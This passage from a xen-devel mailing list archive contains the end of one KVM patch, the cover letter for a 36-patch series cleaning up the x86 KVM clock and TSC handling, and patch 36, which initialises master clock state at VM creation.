 		tsc = kvm_scale_tsc(rdtsc(), vcpu->arch.l1_tsc_scaling_ratio) + offset;
 		ns = get_kvmclock_base_ns();
@@ -13451,7 +13447,7 @@ int kvm_arch_enable_virtualization_cpu(void)
 {
 	struct kvm *kvm;
 	struct kvm_vcpu *vcpu;
-	unsigned long i;
+	unsigned long i, flags;
 	int ret;
 	u64 local_tsc;
 	u64 max_tsc = 0;
@@ -13530,13 +13526,18 @@ int kvm_arch_enable_virtualization_cpu(void)
 			}
 
 			/*
-			 * We have to disable TSC offset matching.. if you were
-			 * booting a VM while issuing an S4 host suspend....
-			 * you may have some problem.  Solving this issue is
-			 * left as an exercise to the reader.
+			 * Adjust the TSC matching reference by the same
+			 * delta applied to each vCPU's offset, so that
+			 * future KVM_SET_TSC / vCPU creation still matches
+			 * correctly against the adjusted TSC timeline.
+			 * Scale from host to guest TSC rate.
 			 */
-			kvm->arch.last_tsc_nsec = 0;
-			kvm->arch.last_tsc_write = 0;
+			raw_spin_lock_irqsave(&kvm->arch.tsc_write_lock, flags);
+			kvm->arch.cur_tsc_write -=
+				kvm_scale_tsc(delta_cyc,
+					      kvm->arch.cur_tsc_scaling_ratio);
+			kvm->arch.cur_tsc_offset += delta_cyc;
+			raw_spin_unlock_irqrestore(&kvm->arch.tsc_write_lock, flags);
 		}
 
 	}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353755.1609495 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKq-0006DW-6O; Fri, 03 Jul 2026 21:22:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353755.1609495; Fri, 03 Jul 2026 21:22:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKp-0006Cb-Tt; Fri, 03 Jul 2026 21:22:07 +0000
Received: by outflank-mailman (input) for mailman id 1353755;
 Fri, 03 Jul 2026 21:22:06 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKn-0005QS-Tu
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKn-00CeeP-A4; Fri, 03 Jul 2026 23:22:05 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827de-bab6-0a2a0a5309dd-0a2a450adcec-18
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:05 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827f7-e40e-0a2a450a0019-5a9b3222e672-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:00 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKV-0000000AsXw-3fP8; Fri, 03 Jul 2026 21:21:48 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKV-00000001RNm-31u8;
 Fri, 03 Jul 2026 22:21:47 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:Message-ID:Date:Subject:To:From:Reply-To:Cc:Content-Type:
	Content-ID:Content-Description:In-Reply-To:References;
	bh=wvuVYxcpMKTUzB1PVAb2vp+z8q/daFQH97Zt0FzYdTI=; b=W9XzMKZF+Q5CoOq/aV2FImKmn4
	+MBNEUMz1UUX//35ieMEnUbaiZsHQsTOrfpMqJyem7xM2MCXsESLogrweax1K4VEn7VGsaAxuFtol
	n+KQ3EN4fgjtWaRqFyqxHg1HXf/yi2skXyW+jTaS0Qk1V7TSrvx56j13mRj5oekE/3fEQ694N2cEW
	mgq2fLxp2c99mW3FSQvDkCeudg1OHZOrce5n9XulglxvOXfr3wtY6IequF8Fr3xVB2motyCwj4WPC
	gykHtGQP7j0TgEtGz5X17+6/VdjMQG4YNf7bRWnBi75ZgSnmbQsHS/Sr74SliiI5bkrRKoTzdHNeY
	jhjnQZOA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 00/36] Cleaning up the KVM clock mess
Date: Fri,  3 Jul 2026 22:17:39 +0100
Message-ID: <20260703212145.343527-1-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-4011c0/1783113725-CFF32DDE-2FE648EC/0/0
X-purgate-type: clean
X-purgate-size: 8553

This is v6 of the series to clean up the KVM clock, rebased onto the
tip timers/ptp material (the timers-ptp-2026-06-13 merge, which includes
Thomas's ktime snapshot series and the read_snapshot patches).

The KVM clock has historically suffered from three problems:

 1. Imprecision: get_kvmclock_ns() computed the clock from the *host*
    TSC without applying guest TSC scaling, causing systemic drift from
    the values the guest computes from its own TSC.

 2. Unnecessary discontinuities: gratuitous KVM_REQ_MASTERCLOCK_UPDATE
    requests caused the master clock reference point to be re-snapshotted,
    yanking the guest's clock due to arithmetic precision differences.

 3. No precise migration API: the existing KVM_[GS]ET_CLOCK only allows
    setting the clock at a given UTC reference time, which is necessarily
    imprecise. There was no way to preserve the exact arithmetic
    relationship between guest TSC and KVM clock across live migration.

This series addresses all three, and adds new APIs for precise clock
migration and TSC frequency reporting. As an added bonus, it now rips
out the whole pvclock_gtod_data hack which was shadowing the kernel's
timekeeping, and uses ktime snapshots as $DEITY (well, Thomas) intended.

v5: https://lore.kernel.org/all/20260608145455.89187-1-dwmw2@infradead.org/

Changes since v5:
 - Rebased onto the tip timers-ptp-2026-06-13 merge.

 - Series shape: two new patches ("KVM: selftests: Use UAPI pvclock-abi.h
   in xen_shinfo_test" and "KVM: x86: Activate master clock from
   kvm_arch_init_vm()"); "Replace pvclock_gtod_data vclock_mode with
   boolean" is replaced by "Cache host vclock_mode for masterclock
   eligibility checks".

 - Sean Christopherson's review:
   * KVM_VCPU_TSC_SCALE: return -ENXIO (not -EINVAL) from the get/set
     device-attribute handlers when !has_tsc_control, and do so in the
     patch that introduces the attribute.
   * Clear SECONDARY_EXEC_TSC_SCALING in setup_vmcs_config() rather than
     vmx_hardware_setup(), so the per-CPU configs recomputed by
     vmx_check_processor_compat() stay consistent with the golden
     vmcs_config.

 - kernel test robot (0-day), i386 W=1 warnings:
   * get_kvmclock(): move hv_clock into the use_master_clock block, drop
     the now-unnecessary get_cpu()/put_cpu() pinning (use_master_clock
     implies a stable synchronised TSC clocksource), and replace the
     goto/'fallback:' label with a 'continue'.
   * pvclock_gtod_notify(): move 'tk' inside CONFIG_X86_64.

 - Correctness fixes from review:
   * KVM_SET_CLOCK_GUEST: bound the shift in hvclock_to_hz(), tighten
     tsc_shift validation to [-31, 31], and reject guest_tsc below
     pvclock.tsc_timestamp.
   * kvm_guest_time_update(): read kvmclock_offset inside the pvclock
     seqcount loop to avoid a torn read.
   * kvm_snapshot_has_tsc(): honour snap->valid and zero-init the
     snapshot, avoiding use of uninitialised stack.
   * kvm_synchronize_tsc(): advance the matched reference point to "now"
     to preserve the 1-second TSC matching window.
   * kvm_track_tsc_matching(): request a masterclock update when
     all_vcpus_matched_tsc changes, so PVCLOCK_TSC_STABLE_BIT is
     broadcast to the other vCPUs.
   * kvm_arch_enable_virtualization_cpu(): adjust cur_tsc_offset together
     with cur_tsc_write under tsc_write_lock on the backwards-TSC / host
     S4 resume path.
   * kvm_set_tsc_khz(): sample the guest TSC before changing the ratio,
     preserving continuity across the frequency change.
   * Keep the real vclock_mode (int) rather than collapsing it to a
     bool, so kvm_check_tsc_unstable() still special-cases HVCLOCK.
   * Activate the master clock, and establish the initial TSC generation
     and kvmclock epoch, from kvm_arch_init_vm() instead of a synchronous
     kvm_update_masterclock() at each vCPU creation (avoids O(N^2)).

 - selftests: use kvm_vm_free() instead of kvm_vm_release(); add the
   missing Makefile entry for xen_migration_test; guard on
   KVM_GET_CLOCK_GUEST / KVM_VCPU_TSC_OFFSET availability; use the
   KVM_VCPU_TSC_SCALE enum instead of a literal; overflow-safe
   arithmetic and looser tolerances.

 - Documentation: fix the KVM_VCPU_TSC_OFFSET / KVM_VCPU_TSC_SCALE ReST
   heading underlines (Randy Dunlap).

 - UAPI: asm/kvm.h now includes <asm/pvclock-abi.h> so the
   KVM_[GS]ET_CLOCK_GUEST ioctls are self-contained.

 - Collected Dongli Zhang's Tested-by (kexec/LUO testing of the KVM clock
   accuracy, pvclock-abi UAPI move, KVM_[GS]ET_CLOCK_GUEST and
   redundant-masterclock-update patches).

David Woodhouse (33):
      KVM: x86/xen: Do not corrupt KVM clock in kvm_xen_shared_info_init()
      KVM: x86: Improve accuracy of KVM clock when TSC scaling is in force
      KVM: selftests: Use UAPI pvclock-abi.h in xen_shinfo_test
      KVM: x86: Explicitly disable TSC scaling without CONSTANT_TSC
      KVM: x86: Activate master clock immediately on vCPU creation
      KVM: x86: Add KVM_VCPU_TSC_SCALE and fix the documentation on TSC migration
      KVM: x86: Avoid NTP frequency skew for KVM clock on 32-bit host
      KVM: x86: Fold __get_kvmclock() into get_kvmclock()
      KVM: x86: Restructure get_kvmclock()
      KVM: x86: Fix KVM clock precision in get_kvmclock() with TSC scaling
      KVM: x86: Use get_kvmclock() in kvm_get_wall_clock_epoch()
      KVM: x86: Fix compute_guest_tsc() to handle negative time deltas
      KVM: x86: Restructure kvm_guest_time_update() for TSC upscaling
      KVM: x86: Simplify and comment kvm_get_time_scale()
      KVM: x86: Remove implicit rdtsc() from kvm_compute_l1_tsc_offset()
      KVM: x86: Improve synchronization in kvm_synchronize_tsc()
      KVM: x86: Kill last_tsc_{nsec,write,offset} fields
      KVM: x86: Replace nr_vcpus_matched_tsc count with all_vcpus_matched_tsc bool
      KVM: x86: Allow KVM master clock mode when TSCs are offset from each other
      KVM: selftests: Add master clock offset test
      KVM: x86: Factor out kvm_use_master_clock()
      KVM: x86: Avoid gratuitous global clock updates
      KVM: x86/xen: Prevent runstate times from becoming negative
      KVM: x86: Avoid redundant masterclock updates from multiple vCPUs
      KVM: x86: Remove runtime Xen TSC frequency CPUID update
      KVM: selftests: Add Xen/generic CPUID timing leaf test
      KVM: x86: Re-synchronize TSC after KVM_SET_TSC_KHZ
      KVM: selftests: Add Xen runstate migration test
      KVM: x86: Use ktime_get_snapshot_id() for master clock
      KVM: x86: Compute kvmclock base without pvclock_gtod_data
      KVM: x86: Cache host vclock_mode for masterclock eligibility checks
      KVM: x86: Remove pvclock_gtod_data and private timekeeping code
      KVM: x86: Activate master clock from kvm_arch_init_vm()

Jack Allister (3):
      UAPI: x86: Move pvclock-abi to UAPI for x86 platforms
      KVM: x86: Add KVM_[GS]ET_CLOCK_GUEST for accurate KVM clock migration
      KVM: selftests: Add KVM/PV clock selftest to prove timer correction

 Documentation/virt/kvm/api.rst                     |   37 +
 Documentation/virt/kvm/devices/vcpu.rst            |  120 ++-
 MAINTAINERS                                        |    4 +-
 arch/x86/include/asm/kvm_host.h                    |   16 +-
 arch/x86/include/uapi/asm/kvm.h                    |    7 +
 arch/x86/include/{ => uapi}/asm/pvclock-abi.h      |   27 +-
 arch/x86/kvm/cpuid.c                               |   16 -
 arch/x86/kvm/svm/svm.c                             |    3 +-
 arch/x86/kvm/vmx/vmx.c                             |   10 +
 arch/x86/kvm/x86.c                                 | 1104 ++++++++++++--------
 arch/x86/kvm/xen.c                                 |   30 +-
 arch/x86/kvm/xen.h                                 |   13 -
 include/uapi/linux/kvm.h                           |    3 +
 scripts/xen-hypercalls.sh                          |    2 +-
 tools/testing/selftests/kvm/Makefile.kvm           |    5 +
 .../selftests/kvm/x86/masterclock_offset_test.c    |  180 ++++
 .../selftests/kvm/x86/pvclock_migration_test.c     |  383 +++++++
 tools/testing/selftests/kvm/x86/pvclock_test.c     |  443 ++++++++
 .../selftests/kvm/x86/xen_cpuid_timing_test.c      |  230 ++++
 .../testing/selftests/kvm/x86/xen_migration_test.c |  194 ++++
 tools/testing/selftests/kvm/x86/xen_shinfo_test.c  |   17 +-
 21 files changed, 2318 insertions(+), 526 deletions(-)

base-commit: 2d6d57f889f3



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353758.1609507 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKr-0006Wb-43; Fri, 03 Jul 2026 21:22:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353758.1609507; Fri, 03 Jul 2026 21:22:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKq-0006Td-QL; Fri, 03 Jul 2026 21:22:08 +0000
Received: by outflank-mailman (input) for mailman id 1353758;
 Fri, 03 Jul 2026 21:22:06 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKo-0005hr-LN
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKo-00BXCb-1w; Fri, 03 Jul 2026 23:22:06 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a48279b-2eae-0a2a0a5409dd-0a2a45019e62-24
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:01 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827f8-400f-0a2a45010019-5a9b3222a836-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:01 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKX-0000000AsYS-3lGH; Fri, 03 Jul 2026 21:21:50 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKX-00000001RQI-3LPT;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=9YLu6jUxizeyw6FPvXNgLWAHtpjzd7Ja/IQI9k+fk+s=; b=fcUVvHAIPPdYkE7/dYS8PsNO0M
	0l7rKpCfaWyv7qnO627IUm/45JZzCNXpKFxdSx3aOe4X/asoyK1w+W3ZNk66BM8q3BbjYRzGNQLNV
	FIOdbKNq2+NaKcooJ/SV2aSPahIzidPDXtyB92+iE1701oAJYZIobMAgIC8rg0p2P6qLAa9eY/PVl
	/pGKXDoXfX1z+5rZmDtJJ9Wv34vMFTG3iFXgK7vu2PgYTbtbFTcJhelUV/ioie3vUIgVLGidMeVnR
	PeaxJ2Y8zB3aSgCvh1ZPeMDKjka+OYRslMm979N9HKfPZmmsO4HL0U8OnTYlA/VVYGrcVlh/JcdzD
	AnicB8aQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 36/36] KVM: x86: Activate master clock from kvm_arch_init_vm()
Date: Fri,  3 Jul 2026 22:18:15 +0100
Message-ID: <20260703212145.343527-37-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d62444/1783113721-D18C31E0-8D48DA2E/0/0
X-purgate-type: clean
X-purgate-size: 4143

From: David Woodhouse <dwmw@amazon.co.uk>

Initialize the TSC generation and master clock state at VM creation
time, rather than relying on kvm_update_masterclock() from
kvm_arch_vcpu_postcreate().

Set cur_tsc_generation=1, cur_tsc_khz, cur_tsc_scaling_ratio,
cur_tsc_offset, cur_tsc_nsec and kvmclock_offset from an atomic
ktime/TSC snapshot. This establishes a coherent epoch so that:

 - The first vCPU synchronizes to the existing generation (getting
   the pre-computed TSC offset) rather than computing its own.
 - pvclock_update_vm_gtod_copy() succeeds immediately (no zero
   tsc_hz from uninitialized cur_tsc_scaling_ratio).
 - KVM_GET_CLOCK returns valid {host_tsc, realtime} fields as soon
   as any vCPU exists.
 - KVM_[GS]ET_CLOCK_GUEST works without a prior KVM_RUN.
 - No O(N) iteration of all vCPUs on each vCPU creation.

This replaces the kvm_update_masterclock() call that was added to
kvm_arch_vcpu_postcreate() to work around the missing initialization.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Assisted-by: Kiro (claude-opus-4.6-1m)
---
 arch/x86/kvm/x86.c | 45 +++++++++++++++++++++++++++++++++++++--------
 1 file changed, 37 insertions(+), 8 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 58016af64932..d35f2ac3ef49 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -13161,8 +13161,6 @@ void kvm_arch_vcpu_postcreate(struct kvm_vcpu *vcpu)
 		return;
 	vcpu_load(vcpu);
 	kvm_synchronize_tsc(vcpu, NULL);
-	if (!vcpu->kvm->arch.use_master_clock)
-		kvm_update_masterclock(vcpu->kvm, NULL);
 	vcpu_put(vcpu);
 
 	/* poll control enabled by default */
@@ -13572,6 +13570,8 @@ int kvm_arch_init_vm(struct kvm *kvm, unsigned long type)
 {
 	int ret;
 	unsigned long flags;
+	u64 kvmclock_host_tsc;
+	s64 kvmclock_ns;
 
 	if (!kvm_is_vm_type_supported(type))
 		return -EINVAL;
@@ -13603,18 +13603,47 @@ int kvm_arch_init_vm(struct kvm *kvm, unsigned long type)
 	seqcount_raw_spinlock_init(&kvm->arch.pvclock_sc, &kvm->arch.tsc_write_lock);
 	ratelimit_state_init(&kvm->arch.kvmclock_update_rs, HZ, 10);
 	ratelimit_set_flags(&kvm->arch.kvmclock_update_rs, RATELIMIT_MSG_ON_RELEASE);
-	kvm->arch.kvmclock_offset = -get_kvmclock_base_ns();
-	kvm->arch.all_vcpus_matched_freq = true;
-
-	raw_spin_lock_irqsave(&kvm->arch.tsc_write_lock, flags);
-	pvclock_update_vm_gtod_copy(kvm);
-	raw_spin_unlock_irqrestore(&kvm->arch.tsc_write_lock, flags);
 
 	kvm->arch.default_tsc_khz = max_tsc_khz ? : tsc_khz;
 	kvm->arch.apic_bus_cycle_ns = APIC_BUS_CYCLE_NS_DEFAULT;
 	kvm->arch.guest_can_read_msr_platform_info = true;
 	kvm->arch.enable_pmu = enable_pmu;
 
+	kvm->arch.all_vcpus_matched_freq = true;
+	kvm->arch.all_vcpus_matched_tsc = true;
+	kvm->arch.cur_tsc_scaling_ratio = kvm_caps.default_tsc_scaling_ratio;
+	kvm->arch.cur_tsc_khz = kvm->arch.default_tsc_khz;
+
+	raw_spin_lock_irqsave(&kvm->arch.tsc_write_lock, flags);
+
+	/*
+	 * Establish the initial TSC generation for synchronization logic.
+	 * The first vCPU will sync to this, starting its guest TSC at the
+	 * number of cycles elapsed since VM creation rather than at zero.
+	 * This ensures coherence with the kvmclock epoch (also set here)
+	 * and means the master clock snapshot taken below is immediately
+	 * valid â€” no need to redo it at first vCPU creation.
+	 */
+#ifdef CONFIG_X86_64
+	if (!kvm_get_time_and_clockread(&kvmclock_ns, &kvmclock_host_tsc))
+#endif
+	{
+		/*
+		 * If not simultaneous, we want the TSC to be zero slightly
+		 * *after* the kvmclock is zero.
+		 */
+		kvmclock_ns = get_kvmclock_base_ns();
+		kvmclock_host_tsc = rdtsc();
+	}
+	kvm->arch.cur_tsc_write = 0;
+	kvm->arch.cur_tsc_offset = -(s64)kvmclock_host_tsc;
+	kvm->arch.cur_tsc_nsec = kvmclock_ns;
+	kvm->arch.cur_tsc_generation = 1;
+	kvm->arch.kvmclock_offset = -kvmclock_ns;
+
+	pvclock_update_vm_gtod_copy(kvm);
+	raw_spin_unlock_irqrestore(&kvm->arch.tsc_write_lock, flags);
+
 #if IS_ENABLED(CONFIG_HYPERV)
 	spin_lock_init(&kvm->arch.hv_root_tdp_lock);
 	kvm->arch.hv_root_tdp = INVALID_PAGE;
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353750.1609444 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKm-00053h-Qm; Fri, 03 Jul 2026 21:22:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353750.1609444; Fri, 03 Jul 2026 21:22:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKm-00053F-Js; Fri, 03 Jul 2026 21:22:04 +0000
Received: by outflank-mailman (input) for mailman id 1353750;
 Fri, 03 Jul 2026 21:22:03 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKl-00051Q-Fi
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKk-001t36-Sc; Fri, 03 Jul 2026 23:22:02 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827ca-bab6-0a2a0a5309dd-0a2a4503bf3c-18
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:02 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827fa-ec1a-0a2a45030019-5a9b3222b952-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:02 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKX-0000000AsYF-1TB1; Fri, 03 Jul 2026 21:21:49 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKX-00000001RPX-0w0H;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
